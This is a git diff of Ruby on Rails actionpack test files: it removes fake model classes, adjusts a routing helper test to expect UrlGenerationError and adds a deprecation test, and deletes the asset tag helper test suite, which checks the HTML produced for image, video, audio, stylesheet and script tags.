+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -28,36 +28,6 @@ class Customer < Struct.new(:name, :id)
end
end
-class BadCustomer < Customer
-end
-
-class GoodCustomer < Customer
-end
-
-class ValidatedCustomer < Customer
- def errors
- if name =~ /Sikachu/i
- []
- else
- [{:name => "is invalid"}]
- end
- end
-end
-
-module Quiz
- class Question < Struct.new(:name, :id)
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- def persisted?
- id.present?
- end
- end
-
- class Store < Question
- end
-end
-
class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost)
extend ActiveModel::Naming
include ActiveModel::Conversion
@@ -101,119 +71,3 @@ class Comment
attr_accessor :body
end
-
-class Tag
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- attr_reader :id
- attr_reader :post_id
- def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
- def to_key; id ? [id] : nil end
- def save; @id = 1; @post_id = 1 end
- def persisted?; @id.present? end
- def to_param; @id; end
- def value
- @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
- end
-
- attr_accessor :relevances
- def relevances_attributes=(attributes); end
-
-end
-
-class CommentRelevance
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- attr_reader :id
- attr_reader :comment_id
- def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
- def to_key; id ? [id] : nil end
- def save; @id = 1; @comment_id = 1 end
- def persisted?; @id.present? end
- def to_param; @id; end
- def value
- @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
- end
-end
-
-class Sheep
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- attr_reader :id
- def to_key; id ? [id] : nil end
- def save; @id = 1 end
- def new_record?; @id.nil? end
- def name
- @id.nil? ? 'new sheep' : "sheep ##{@id}"
- end
-end
-
-
-class TagRelevance
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- attr_reader :id
- attr_reader :tag_id
- def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
- def to_key; id ? [id] : nil end
- def save; @id = 1; @tag_id = 1 end
- def persisted?; @id.present? end
- def to_param; @id; end
- def value
- @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
- end
-end
-
-class Author < Comment
- attr_accessor :post
- def post_attributes=(attributes); end
-end
-
-class HashBackedAuthor < Hash
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- def persisted?; false; end
-
- def name
- "hash backed author"
- end
-end
-
-module Blog
- def self.use_relative_model_naming?
- true
- end
-
- class Post < Struct.new(:title, :id)
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- def persisted?
- id.present?
- end
- end
-end
-
-class ArelLike
- def to_ary
- true
- end
- def each
- a = Array.new(2) { |id| Comment.new(id + 1) }
- a.each { |i| yield i }
- end
-end
-
-class RenderJsonTestException < Exception
- def to_json(options = nil)
- return { :error => self.class.name, :message => self.to_s }.to_json
- end
-end
-
-class Car < Struct.new(:color)
-end
diff --git a/actionpack/test/routing/helper_test.rb b/actionpack/test/routing/helper_test.rb
index a5588d95fa..09ca7ff73b 100644
--- a/actionpack/test/routing/helper_test.rb
+++ b/actionpack/test/routing/helper_test.rb
@@ -22,10 +22,24 @@ module ActionDispatch
x = Class.new {
include rs.url_helpers
}
- assert_raises ActionController::RoutingError do
+ assert_raises ActionController::UrlGenerationError do
x.new.pond_duck_path Duck.new
end
end
+
+ def test_path_deprecation
+ rs = ::ActionDispatch::Routing::RouteSet.new
+ rs.draw do
+ resources :ducks
+ end
+
+ x = Class.new {
+ include rs.url_helpers(false)
+ }
+ assert_deprecated do
+ assert_equal '/ducks', x.new.ducks_path
+ end
+ end
end
end
end
diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb
deleted file mode 100644
index eb1a54a81f..0000000000
--- a/actionpack/test/template/asset_tag_helper_test.rb
+++ /dev/null
@@ -1,723 +0,0 @@
-require 'zlib'
-require 'abstract_unit'
-require 'active_support/ordered_options'
-
-class FakeController
- attr_accessor :request
-
- def config
- @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config)
- end
-end
-
-class AssetTagHelperTest < ActionView::TestCase
- tests ActionView::Helpers::AssetTagHelper
-
- attr_reader :request
-
- def setup
- super
-
- @controller = BasicController.new
-
- @request = Class.new do
- attr_accessor :script_name
- def protocol() 'http://' end
- def ssl?() false end
- def host_with_port() 'localhost' end
- def base_url() 'http://www.example.com' end
- end.new
-
- @controller.request = @request
- end
-
- def url_for(*args)
- "http://www.example.com"
- end
-
- AssetPathToTag = {
- %(asset_path("foo")) => %(/foo),
- %(asset_path("style.css")) => %(/style.css),
- %(asset_path("xmlhr.js")) => %(/xmlhr.js),
- %(asset_path("xml.png")) => %(/xml.png),
- %(asset_path("dir/xml.png")) => %(/dir/xml.png),
- %(asset_path("/dir/xml.png")) => %(/dir/xml.png),
-
- %(asset_path("script.min")) => %(/script.min),
- %(asset_path("script.min.js")) => %(/script.min.js),
- %(asset_path("style.min")) => %(/style.min),
- %(asset_path("style.min.css")) => %(/style.min.css),
-
- %(asset_path("style", type: :stylesheet)) => %(/stylesheets/style.css),
- %(asset_path("xmlhr", type: :javascript)) => %(/javascripts/xmlhr.js),
- %(asset_path("xml.png", type: :image)) => %(/images/xml.png)
- }
-
- AutoDiscoveryToTag = {
- %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
- %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
- %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
- %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
- %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
- %(auto_discovery_link_tag(:rss, "//localhost/feed")) => %(<link href="//localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
- %(auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
- %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
- %(auto_discovery_link_tag(nil, {}, {:type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="" type="text/html" />),
- %(auto_discovery_link_tag(nil, {}, {:title => "No stream.. really", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="No stream.. really" type="text/html" />),
- %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="text/html" />),
- %(auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"})) => %(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
- }
-
- JavascriptPathToTag = {
- %(javascript_path("xmlhr")) => %(/javascripts/xmlhr.js),
- %(javascript_path("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
- %(javascript_path("/super/xmlhr.js")) => %(/super/xmlhr.js),
- %(javascript_path("xmlhr.min")) => %(/javascripts/xmlhr.min.js),
- %(javascript_path("xmlhr.min.js")) => %(/javascripts/xmlhr.min.js),
-
- %(javascript_path("xmlhr.js?123")) => %(/javascripts/xmlhr.js?123),
- %(javascript_path("xmlhr.js?body=1")) => %(/javascripts/xmlhr.js?body=1),
- %(javascript_path("xmlhr.js#hash")) => %(/javascripts/xmlhr.js#hash),
- %(javascript_path("xmlhr.js?123#hash")) => %(/javascripts/xmlhr.js?123#hash)
- }
-
- PathToJavascriptToTag = {
- %(path_to_javascript("xmlhr")) => %(/javascripts/xmlhr.js),
- %(path_to_javascript("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
- %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
- }
-
- JavascriptUrlToTag = {
- %(javascript_url("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
- %(javascript_url("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
- %(javascript_url("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
- }
-
- UrlToJavascriptToTag = {
- %(url_to_javascript("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
- %(url_to_javascript("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
- %(url_to_javascript("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
- }
-
- JavascriptIncludeToTag = {
- %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" ></script>),
- %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" ></script>),
- %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" ></script>),
-
- %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all"></script>),
- %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js"></script>),
- %(javascript_include_tag("//example.com/all.js")) => %(<script src="//example.com/all.js"></script>),
- }
-
- StylePathToTag = {
- %(stylesheet_path("bank")) => %(/stylesheets/bank.css),
- %(stylesheet_path("bank.css")) => %(/stylesheets/bank.css),
- %(stylesheet_path('subdir/subdir')) => %(/stylesheets/subdir/subdir.css),
- %(stylesheet_path('/subdir/subdir.css')) => %(/subdir/subdir.css),
- %(stylesheet_path("style.min")) => %(/stylesheets/style.min.css),
- %(stylesheet_path("style.min.css")) => %(/stylesheets/style.min.css)
- }
-
- PathToStyleToTag = {
- %(path_to_stylesheet("style")) => %(/stylesheets/style.css),
- %(path_to_stylesheet("style.css")) => %(/stylesheets/style.css),
- %(path_to_stylesheet('dir/file')) => %(/stylesheets/dir/file.css),
- %(path_to_stylesheet('/dir/file.rcss', :extname => false)) => %(/dir/file.rcss),
- %(path_to_stylesheet('/dir/file', :extname => '.rcss')) => %(/dir/file.rcss)
- }
-
- StyleUrlToTag = {
- %(stylesheet_url("bank")) => %(http://www.example.com/stylesheets/bank.css),
- %(stylesheet_url("bank.css")) => %(http://www.example.com/stylesheets/bank.css),
- %(stylesheet_url('subdir/subdir')) => %(http://www.example.com/stylesheets/subdir/subdir.css),
- %(stylesheet_url('/subdir/subdir.css')) => %(http://www.example.com/subdir/subdir.css)
- }
-
- UrlToStyleToTag = {
- %(url_to_stylesheet("style")) => %(http://www.example.com/stylesheets/style.css),
- %(url_to_stylesheet("style.css")) => %(http://www.example.com/stylesheets/style.css),
- %(url_to_stylesheet('dir/file')) => %(http://www.example.com/stylesheets/dir/file.css),
- %(url_to_stylesheet('/dir/file.rcss', :extname => false)) => %(http://www.example.com/dir/file.rcss),
- %(url_to_stylesheet('/dir/file', :extname => '.rcss')) => %(http://www.example.com/dir/file.rcss)
- }
-
- StyleLinkToTag = {
- %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
- %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
- %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
- %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />),
- %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />),
-
- %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />),
- %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
- %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
- }
-
- ImagePathToTag = {
- %(image_path("xml")) => %(/images/xml),
- %(image_path("xml.png")) => %(/images/xml.png),
- %(image_path("dir/xml.png")) => %(/images/dir/xml.png),
- %(image_path("/dir/xml.png")) => %(/dir/xml.png)
- }
-
- PathToImageToTag = {
- %(path_to_image("xml")) => %(/images/xml),
- %(path_to_image("xml.png")) => %(/images/xml.png),
- %(path_to_image("dir/xml.png")) => %(/images/dir/xml.png),
- %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
- }
-
- ImageUrlToTag = {
- %(image_url("xml")) => %(http://www.example.com/images/xml),
- %(image_url("xml.png")) => %(http://www.example.com/images/xml.png),
- %(image_url("dir/xml.png")) => %(http://www.example.com/images/dir/xml.png),
- %(image_url("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
- }
-
- UrlToImageToTag = {
- %(url_to_image("xml")) => %(http://www.example.com/images/xml),
- %(url_to_image("xml.png")) => %(http://www.example.com/images/xml.png),
- %(url_to_image("dir/xml.png")) => %(http://www.example.com/images/dir/xml.png),
- %(url_to_image("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
- }
-
- ImageLinkToTag = {
- %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
- %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
- %(image_tag("gold.png", :size => "20")) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
- %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
- %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
- %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
- %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
- %(image_tag("google.com.png")) => %(<img alt="Google.com" src="/images/google.com.png" />),
- %(image_tag("slash..png")) => %(<img alt="Slash." src="/images/slash..png" />),
- %(image_tag(".pdf.png")) => %(<img alt=".pdf" src="/images/.pdf.png" />),
- %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
- %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />),
- %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />),
- %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />),
- %(image_tag("")) => %(<img src="" />)
- }
-
- FaviconLinkToTag = {
- %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
- %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
- %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/vnd.microsoft.icon" />),
- %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
- %(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
- }
-
- VideoPathToTag = {
- %(video_path("xml")) => %(/videos/xml),
- %(video_path("xml.ogg")) => %(/videos/xml.ogg),
- %(video_path("dir/xml.ogg")) => %(/videos/dir/xml.ogg),
- %(video_path("/dir/xml.ogg")) => %(/dir/xml.ogg)
- }
-
- PathToVideoToTag = {
- %(path_to_video("xml")) => %(/videos/xml),
- %(path_to_video("xml.ogg")) => %(/videos/xml.ogg),
- %(path_to_video("dir/xml.ogg")) => %(/videos/dir/xml.ogg),
- %(path_to_video("/dir/xml.ogg")) => %(/dir/xml.ogg)
- }
-
- VideoUrlToTag = {
- %(video_url("xml")) => %(http://www.example.com/videos/xml),
- %(video_url("xml.ogg")) => %(http://www.example.com/videos/xml.ogg),
- %(video_url("dir/xml.ogg")) => %(http://www.example.com/videos/dir/xml.ogg),
- %(video_url("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
- }
-
- UrlToVideoToTag = {
- %(url_to_video("xml")) => %(http://www.example.com/videos/xml),
- %(url_to_video("xml.ogg")) => %(http://www.example.com/videos/xml.ogg),
- %(url_to_video("dir/xml.ogg")) => %(http://www.example.com/videos/dir/xml.ogg),
- %(url_to_video("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
- }
-
- VideoLinkToTag = {
- %(video_tag("xml.ogg")) => %(<video src="/videos/xml.ogg"></video>),
- %(video_tag("rss.m4v", :autoplay => true, :controls => true)) => %(<video autoplay="autoplay" controls="controls" src="/videos/rss.m4v"></video>),
- %(video_tag("rss.m4v", :autobuffer => true)) => %(<video autobuffer="autobuffer" src="/videos/rss.m4v"></video>),
- %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
- %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
- %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
- %(video_tag("error.avi", "size" => "100")) => %(<video src="/videos/error.avi"></video>),
- %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
- %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
- %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
- %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov"></video>),
- %(video_tag("multiple.ogg", "multiple.avi")) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
- %(video_tag(["multiple.ogg", "multiple.avi"])) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
- %(video_tag(["multiple.ogg", "multiple.avi"], :size => "160x120", :controls => true)) => %(<video controls="controls" height="120" width="160"><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>)
- }
-
- AudioPathToTag = {
- %(audio_path("xml")) => %(/audios/xml),
- %(audio_path("xml.wav")) => %(/audios/xml.wav),
- %(audio_path("dir/xml.wav")) => %(/audios/dir/xml.wav),
- %(audio_path("/dir/xml.wav")) => %(/dir/xml.wav)
- }
-
- PathToAudioToTag = {
- %(path_to_audio("xml")) => %(/audios/xml),
- %(path_to_audio("xml.wav")) => %(/audios/xml.wav),
- %(path_to_audio("dir/xml.wav")) => %(/audios/dir/xml.wav),
- %(path_to_audio("/dir/xml.wav")) => %(/dir/xml.wav)
- }
-
- AudioUrlToTag = {
- %(audio_url("xml")) => %(http://www.example.com/audios/xml),
- %(audio_url("xml.wav")) => %(http://www.example.com/audios/xml.wav),
- %(audio_url("dir/xml.wav")) => %(http://www.example.com/audios/dir/xml.wav),
- %(audio_url("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
- }
-
- UrlToAudioToTag = {
- %(url_to_audio("xml")) => %(http://www.example.com/audios/xml),
- %(url_to_audio("xml.wav")) => %(http://www.example.com/audios/xml.wav),
- %(url_to_audio("dir/xml.wav")) => %(http://www.example.com/audios/dir/xml.wav),
- %(url_to_audio("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
- }
-
- AudioLinkToTag = {
- %(audio_tag("xml.wav")) => %(<audio src="/audios/xml.wav"></audio>),
- %(audio_tag("rss.wav", :autoplay => true, :controls => true)) => %(<audio autoplay="autoplay" controls="controls" src="/audios/rss.wav"></audio>),
- %(audio_tag("http://media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="http://media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
- %(audio_tag("//media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="//media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
- %(audio_tag("audio.mp3", "audio.ogg")) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
- %(audio_tag(["audio.mp3", "audio.ogg"])) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
- %(audio_tag(["audio.mp3", "audio.ogg"], :autobuffer => true, :controls => true)) => %(<audio autobuffer="autobuffer" controls="controls"><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>)
- }
-
- FontPathToTag = {
- %(font_path("font.eot")) => %(/fonts/font.eot),
- %(font_path("font.eot#iefix")) => %(/fonts/font.eot#iefix),
- %(font_path("font.woff")) => %(/fonts/font.woff),
- %(font_path("font.ttf")) => %(/fonts/font.ttf),
- %(font_path("font.ttf?123")) => %(/fonts/font.ttf?123)
- }
-
- def test_autodiscovery_link_tag_deprecated_types
- result = nil
- assert_deprecated do
- result = auto_discovery_link_tag(:xml)
- end
-
- expected = %(<link href="http://www.example.com" rel="alternate" title="XML" type="application/xml" />)
- assert_equal expected, result
- end
-
- def test_asset_path_tag
- AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_compute_asset_public_path
- assert_equal "/robots.txt", compute_asset_path("robots.txt")
- assert_equal "/robots.txt", compute_asset_path("/robots.txt")
- assert_equal "/javascripts/foo.js", compute_asset_path("foo.js", :type => :javascript)
- assert_equal "/javascripts/foo.js", compute_asset_path("/foo.js", :type => :javascript)
- assert_equal "/stylesheets/foo.css", compute_asset_path("foo.css", :type => :stylesheet)
- end
-
- def test_auto_discovery_link_tag
- AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_javascript_path
- JavascriptPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_path_to_javascript_alias_for_javascript_path
- PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_javascript_url
- JavascriptUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_url_to_javascript_alias_for_javascript_url
- UrlToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_javascript_include_tag
- JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_javascript_include_tag_with_missing_source
- assert_nothing_raised {
- javascript_include_tag('missing_security_guard')
- }
-
- assert_nothing_raised {
- javascript_include_tag('http://example.com/css/missing_security_guard')
- }
- end
-
- def test_javascript_include_tag_is_html_safe
- assert javascript_include_tag("prototype").html_safe?
- end
-
- def test_stylesheet_path
- StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_path_to_stylesheet_alias_for_stylesheet_path
- PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_stylesheet_url
- StyleUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_url_to_stylesheet_alias_for_stylesheet_url
- UrlToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_stylesheet_link_tag
- StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_stylesheet_link_tag_with_missing_source
- assert_nothing_raised {
- stylesheet_link_tag('missing_security_guard')
- }
-
- assert_nothing_raised {
- stylesheet_link_tag('http://example.com/css/missing_security_guard')
- }
- end
-
- def test_stylesheet_link_tag_is_html_safe
- assert stylesheet_link_tag('dir/file').html_safe?
- assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
- end
-
- def test_stylesheet_link_tag_escapes_options
- assert_dom_equal %(<link href="/file.css" media="&lt;script&gt;" rel="stylesheet" />), stylesheet_link_tag('/file', :media => '<script>')
- end
-
- def test_stylesheet_link_tag_should_not_output_the_same_asset_twice
- assert_dom_equal %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', 'wellington', 'amsterdam')
- end
-
- def test_image_path
- ImagePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_path_to_image_alias_for_image_path
- PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_image_url
- ImageUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_url_to_image_alias_for_image_url
- UrlToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_image_alt
- [nil, '/', '/foo/bar/', 'foo/bar/'].each do |prefix|
- assert_equal 'Rails', image_alt("#{prefix}rails.png")
- assert_equal 'Rails', image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png")
- assert_equal 'Avatar-0000', image_alt("#{prefix}avatar-0000.png")
- end
- end
-
- def test_image_tag
- ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_image_tag_does_not_modify_options
- options = {:size => '16x10'}
- image_tag('icon', options)
- assert_equal({:size => '16x10'}, options)
- end
-
- def test_favicon_link_tag
- FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_video_path
- VideoPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_path_to_video_alias_for_video_path
- PathToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_video_url
- VideoUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_url_to_video_alias_for_video_url
- UrlToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_video_tag
- VideoLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_audio_path
- AudioPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_path_to_audio_alias_for_audio_path
- PathToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_audio_url
- AudioUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_url_to_audio_alias_for_audio_url
- UrlToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_audio_tag
- AudioLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_font_path
- FontPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
- end
-
- def test_video_audio_tag_does_not_modify_options
- options = {:autoplay => true}
- video_tag('video', options)
- assert_equal({:autoplay => true}, options)
- audio_tag('audio', options)
- assert_equal({:autoplay => true}, options)
- end
-
- def test_image_tag_interpreting_email_cid_correctly
- # An inline image has no need for an alt tag to be automatically generated from the cid:
- assert_equal '<img src="cid:thi%25%25sis@acontentid" />', image_tag("cid:thi%25%25sis@acontentid")
- end
-
- def test_image_tag_interpreting_email_adding_optional_alt_tag
- assert_equal '<img alt="Image" src="cid:thi%25%25sis@acontentid" />', image_tag("cid:thi%25%25sis@acontentid", :alt => "Image")
- end
-
- def test_should_not_modify_source_string
- source = '/images/rails.png'
- copy = source.dup
- image_tag(source)
- assert_equal copy, source
- end
-
- def test_caching_image_path_with_caching_and_proc_asset_host_using_request
- @controller.config.asset_host = Proc.new do |source, request|
- if request.ssl?
- "#{request.protocol}#{request.host_with_port}"
- else
- "#{request.protocol}assets#{source.length}.example.com"
- end
- end
-
- @controller.request.stubs(:ssl?).returns(false)
- assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
-
- @controller.request.stubs(:ssl?).returns(true)
- assert_equal "http://localhost/images/xml.png", image_path("xml.png")
- end
-end
-
-class AssetTagHelperNonVhostTest < ActionView::TestCase
- tests ActionView::Helpers::AssetTagHelper
-
- attr_reader :request
-
- def setup
- super
- @controller = BasicController.new
- @controller.config.relative_url_root = "/collaboration/hieraki"
-
- @request = Struct.new(:protocol, :base_url).new("gopher://", "gopher://www.example.com")
- @controller.request = @request
- end
-
- def url_for(options)
- "http://www.example.com/collaboration/hieraki"
- end
-
- def test_should_compute_proper_path
- assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
- assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
- assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
- assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
- end
-
- def test_should_return_nothing_if_asset_host_isnt_configured
- assert_equal nil, compute_asset_host("foo")
- end
-
- def test_should_current_request_host_is_always_returned_for_request
- assert_equal "gopher://www.example.com", compute_asset_host("foo", :protocol => :request)
- end
-
- def test_should_ignore_relative_root_path_on_complete_url
- assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
- end
-
- def test_should_return_simple_string_asset_host
- @controller.config.asset_host = "assets.example.com"
- assert_equal "gopher://assets.example.com", compute_asset_host("foo")
- end
-
- def test_should_return_relative_asset_host
- @controller.config.asset_host = "assets.example.com"
- assert_equal "//assets.example.com", compute_asset_host("foo", :protocol => :relative)
- end
-
- def test_should_return_custom_protocol_asset_host
- @controller.config.asset_host = "assets.example.com"
- assert_equal "ftp://assets.example.com", compute_asset_host("foo", :protocol => "ftp")
- end
